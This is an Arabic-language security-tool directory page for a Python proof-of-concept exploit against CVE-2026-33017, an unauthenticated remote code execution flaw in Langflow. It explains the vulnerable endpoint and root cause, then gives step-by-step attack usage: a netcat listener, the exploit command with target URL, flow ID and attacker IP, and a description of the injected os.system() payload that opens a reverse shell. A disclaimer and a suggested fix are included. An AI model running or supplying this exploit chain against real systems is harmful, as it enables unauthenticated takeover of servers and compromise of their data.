Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33017 — Python POC، استغلال لـ CVE-2026-33017 | Kitploit
أدوات/GitHubGitHub/c0gnit00/cve-2026-33017
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

Python POC، استغلال لـ CVE-2026-33017

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 - تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Langflow

⚠️ إخلاء مسؤولية: هذا المستودع مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط. استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر يسببه هذا البرنامج.

نظرة عامة

CVE-2026-33017 هي ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Langflow، وهو إطار عمل مرئي لبناء تطبيقات LangChain.

يسمح نقطة النهاية POST /api/v1/build_public_tmp/{flow_id}/flow ببناء التدفقات العامة بدون مصادقة. عندما يتم توفير المعلمة الاختيارية data، تستخدم نقطة النهاية بيانات التدفق التي يتحكم فيها المهاجم (تحتوي على كود بايثون عشوائي في تعريفات العقد) بدلاً من بيانات التدفق المخزنة في قاعدة البيانات. يتم تمرير هذا الكود إلى exec() بدون أي حماية، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد بدون مصادقة.

الإصدارات المتأثرة

  • Langflow <= 1.7.3
  • تم الإصلاح في Langflow >= 1.8.2

المتطلبات الأساسية للاستغلال

  1. يحتوي مثيل Langflow المستهدف على تدفق عام واحد على الأقل (شائع للعروض التوضيحية وروبوتات الدردشة وسير العمل المشتركة)
  2. يعرف المهاجم UUID التدفق العام (يمكن اكتشافه عبر الروابط/عناوين URL المشتركة)
  3. لا حاجة للمصادقة — فقط كلمة client_id (أي قيمة سلسلة عشوائية)

التثبيت

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

الاستخدام

1. إعداد مستمع

على جهازك المهاجم، ابدأ مستمع netcat لالتقاط الصدفة العكسية:

root@kitploit:~
nc -lvnp 4444

2. تشغيل الأداة

root@kitploit:~
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444

الوسائط

مثال

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

كيف يعمل

  1. craft_malicious_node() — ينشئ عقدة Langflow ضارة تحتوي على CustomComponent مع كود بايثون يتحكم فيه المهاجم. يتضمن الكود استدعاء os.system() على المستوى الأعلى الذي يتم تنفيذه أثناء بناء الرسم البياني (قبل أن "يعمل" التدفق فعليًا).

  2. fire_payload() — يرسل العقدة الضارة بصيغة JSON إلى نقطة النهاية غير المصادقة build_public_tmp مع كلمة client_id عشوائية.

  3. تنفيذ الكود — يقوم الخادم بتحليل بيانات التدفق المقدمة من المهاجم، وإنشاء المكون المخصص، واستدعاء exec() على الكود المضمن أثناء prepare_global_scope(). يؤدي التخصيص على المستوى الأعلى _r = __import__('os').system(...) إلى تشغيل الأمر فورًا.

  4. الصدفة العكسية — يقوم الحمولة بإنشاء صدفة عكسية بلغة بايثون تتصل بالمستمع الخاص بك.

تفاصيل الثغرة

السبب الجذري

تم تصميم نقطة النهاية build_public_tmp لتكون بدون مصادقة (للتدفقات العامة)، ولكنها تقبل بشكل غير صحيح بيانات التدفق التي يقدمها المهاجم عبر المعلمة data. عند توفير data، فإنها تتجاوز بيانات التدفق المخزنة وتمرر العقد التي يتحكم فيها المهاجم مباشرة إلى منشئ الرسم البياني.

الإصلاح الموصى به

قم بإزالة المعلمة data من build_public_tmp. يجب أن تنفذ التدفقات العامة فقط بيانات التدفق المخزنة في قاعدة البيانات، وليس البيانات المقدمة من المهاجم.

المراجع

  • NVD - CVE-2026-33017
  • Langflow Release 1.8.2

الترخيص

هذا المشروع مقدم للأغراض التعليمية واختبار الأمان المصرح به فقط.

تنزيل الأداة
ArgumentRequiredDescription
--urlنعمعنوان URL المستهدف (مثل http://localhost:7860)
--flow-idنعمUUID التدفق العام
--lhostنعمعنوان IP للمستمع الخاص بك
--lportنعممنفذ المستمع الخاص بك
--timeoutلامهلة الطلب بالثواني (الافتراضي: 15)